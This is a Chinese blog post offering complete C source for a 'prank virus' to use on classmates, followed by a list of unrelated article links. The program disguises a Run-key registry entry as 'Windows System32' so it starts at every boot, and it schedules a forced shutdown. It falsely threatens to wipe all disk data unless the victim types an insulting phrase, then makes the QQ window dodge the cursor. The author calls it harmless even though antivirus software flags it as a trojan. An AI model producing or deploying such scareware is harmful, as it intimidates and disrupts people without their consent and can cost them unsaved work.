恶作剧病毒集大成最终版(无危害)
该程序会被安全系统认为是木马并隔离,只适用于和同学开玩笑
该病毒功能包括3部分
1,添加到注册表,开机自启。
2,运行后60秒关机,除非输入指令。
3,让对方QQ躲避对方鼠标30次
#define _CRT_SECURE_NO_DEPRECATE
#include<string.h>//strcmp的库函数
#include<stdio.h>
#include<windows.h>//Windows系统的接口winAPI
#include<time.h>//生成随机数
#include<stdlib.h>//system的库函数,等
//在项目,属性中修改配置属性的字符集为多字节字符集
int main()
{
char cxlujin[100];//定义个数组存放程序的地址
GetModuleFileName(NULL, cxlujin, sizeof(cxlujin));//查询程序地址(放到cxlujin )
char s[]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//定义字符串为注册表开机自启的路径
HKEY hkey;//定义一个注册表的类
RegOpenKey(HKEY_CURRENT_USER, s, &hkey);//打开注册表(打开该注册表,按cxlujin路径,保存到hkey)
RegSetValueEx(hkey,"Windows System32", 0, REG_SZ,
(unsigned char*)cxlujin, 250);
//设置注册表(设置那个注册表,修改该注册表名称,0,注册表类型 ,(强制转换)程序路径,大小)
char mima[20] = { 0 };
printf("(◣ω◢)\n你的电脑被\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学{{|└(>o< )┘|}}\n植入了病毒!!!\n");//给对方造成心理压力
printf("恐惧吧\n感慨吧\n臣服吧\n吓得屁滚尿流吧\n面对如此牛逼的存在你唯一需要做的就是按他说的去做(*Δ*)!\n");
while (1)//对方输错可以继续输入
{
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");//警告
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
printf("你的电脑即将在60秒内关机,并删除你所有的硬盘数据!!!!\n");
system("shutdown -s -t 60");//system可以对系统进行操作,shutdown是windows的关机指令-s-t是延时设置
printf("重要的事情我说了5遍!(▼皿▼#)\n害怕吧\n不知所措吧\n忙着关闭电源吧\n");//提示
printf("这些都没有用的\n但是仁慈的\n光辉的\n做人留一线的\n掌握命运的\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学\n");
printf("给了你一个拯救你电脑的机会(●—●)\n");
printf("你只需要输入一句简简单单的话\n就可以挽救着一切\n立即输入(目光看向这里╰(‵□′)╯ )\n我是傻逼小涵牛逼\n否则就等着你的电脑关机并删掉你所有的数据吧\n啊哈哈哈哈哈\n一切取决与你 ,你还有不到60秒\n");
scanf("%s", mima);//数组不用取地址符
if (strcmp(mima,"我是傻逼小涵牛逼") == 0)//判断是否正确输入
{
printf("输入正确\n");//正确反馈
break;//跳出循环
}
}
system("shutdown -a");//同上微软取消关机指令
printf("很好,你诚恳的态度得到了小涵同学的认可,所以他放过了你\n");//反馈
int i = 1;
srand((unsigned int)time(NULL));//随机数总值
HWND qqhwnd;// 定义一个窗口句柄
qqhwnd = FindWindow("TXGuiFoundation", "QQ");//寻找窗口句柄,使用类名称和标题
POINT pt;//定义一个点
RECT rect;//定义一个矩形
while (i <= 30)//多次调戏
{
GetCursorPos(&pt);//获取光标点(位置)放到pt中
GetWindowRect(qqhwnd, &rect); //qq窗口的坐标保存到rect
if (pt.x >= rect.left && pt.x <= rect.right &&
pt.y >= rect.top && pt.y <= rect.bottom)//判断光标是否在qq窗口中
{
MoveWindow(qqhwnd, //移动那个窗口
rand() % 1520, rand() % 680, //移动到哪里去 //屏幕1920*1080//1920-300=1620//
400, 400, //窗口大小
true); //是否刷新
i++;
}
}
printf("结束");
return 0;
}
恶作剧病毒集大成最终版(无危害)相关推荐
- RETAS HD更新2009年最终版四模块集成安装包
RETAS HD更新2009年最终版四模块集成安装包 RETAS!PRO HD 系列是在1993年发布的一套完整的数码动画制作工具,它取代了原先手工制作的塞璐璐与胶片,仅在一台个人电脑上就实现了动画制 ...
- 【最终版】PyQt5 自定义标题栏,实现无边框,最小化最大化关闭事件,窗口拖动移动,窗口改变大小,仿百度网盘色调美化,添加内容窗口
[最终版]PyQt5 自定义标题栏,实现无边框,最小化最大化关闭事件,窗口拖动移动,窗口改变大小,仿百度网盘色调美化,添加内容窗口 文章目录 [最终版]PyQt5 自定义标题栏,实现无边框,最小化最大 ...
- 版本 3.1(最终版)
1 Java™ Servlet 规范 版本 3.1(最终版) Shing Wai Chan Rajiv Mordani [作者] 穆茂强 张开涛 [译者] 2012 年 6 月翻译 2013 年 7 ...
- Marvell 88nv1120开卡方法集大成之作,附开卡工具
Marvell 88nv1120开卡方法集大成之作,附开卡工具,直接上干货! 1.只针对开海力士16nm tlc的教程,别的我没有开过 2.除了jm20329的桥之外,vl711也亲测可用 3.如果是 ...
- 你好,offer(最终版)
你好,offer(最终版) 计算机网络 osi七层模型:物联网叔会试用 物理层 链路层 网络层 传输层 会话层 表示层 应用层 五层协议 UDP相关 TCP相关 TCP的三从握手和四次挥手 三次握手 ...
- 计算机强制关机原理,解决PC常见问题 篇十六:究竟如何关机才是正确的姿势---关于“按电源键强制关机对硬件无危害”的...
解决PC常见问题 篇十六:究竟如何关机才是正确的姿势---关于"按电源键强制关机对硬件无危害"的 2020-08-10 10:21:40 36点赞 186收藏 64评论 本文背景 ...
- Becky!经典使用问题集(0516版)
这回改版连主页面都没啦,趁这会儿还算闲着,把以前下载的经典问答贴出来吧. Becky!经典使用问题集(0516版) ★★最强邮件程序becky问题集★★ 原创 by newaa2002@hotmail ...
- 数据标注、模型调参debug...通通自动化!华为云AI开发集大成之作ModelArts 2.0发布...
乾明 发自 凹非寺 量子位 报道 | 公众号 QbitAI 福音.AI开发门槛现在更低. 不用你编码,甚至无需AI开发经验. 如今你所需所做:只需标注一小部分数据,然后它就会帮你标注剩下数据,并且自 ...
- 驱动精灵 v9.61 去广告最终版绿色清爽单文件
驱动精灵,驱动研究专注不怠,只为解决驱动问题!驱动精灵是集驱动管理和硬件检测于一体.专业级的驱动管理维护工具.它提供驱动备份.恢复.安装.删除.在线更新等实用功能.驱动精灵秉承驱动之家十余年积累,硬件 ...
最新文章
- 观察者模式(Observer Pattern)(二):HeadFirst中的气象站的实现
- 盛大游戏卷入“沙巴克”商标之争
- opencv-python之机器视觉
- centos 配置php开发环境变量配置,CentOS中配置PHP和Nginx环境变量
- javax.naming.NamingException: Cannot load JDBC driver class 'com.mysql.jdbc.Driver'
- 机房合作(一):我怎样做组长(敢于承担责任)
- opencv中匹配点对的坐标提取
- JAVA和C++内部类
- 将内容引用到其他栏目
- 【AI专利】中国成为全球AI专利第二大提交国,微软AI专利数比你论文字数都多...
- python全免费教程-python教程免费
- 拓端tecdat|R语言POT超阈值模型在洪水风险频率分析中的应用研究
- Unity 3D 游戏引擎
- Testbed软件下载安装使用试用
- Softing过程自动化解决方案——助力数字化工业
- 值得关注的5款“企业级低代码开发平台”推荐
- 更新windwos ltsc winserver2019可以使用的wsl1 debian映像到debian 10.4
- 分析google adsence
- 陆奇万字长文,讲透企业数字化转型!
- CSP2021提高组游记
热门文章
- 我的创作纪念日-从写作到阿里云专家博主的故事
- 冯唐:在江湖上混需要养成的10个好习惯
- JAVA项目实战开发电商项目案例(八)购物车功能开发
- Android studio 关于页面跳转问题
- 微信小程序-iphone打开页面空白,报错Miniprogramerror Syntaxerror...
- 计算机组成原理算术逻辑实验,《计算机组成原理》算术逻辑运算实验报告.doc...
- docker network create: conflicts with network
- [Vulnhub]Momentum2
- cssci和核心期刊的区别
- IntelliJ IDEA中的神仙插件(写代码必备)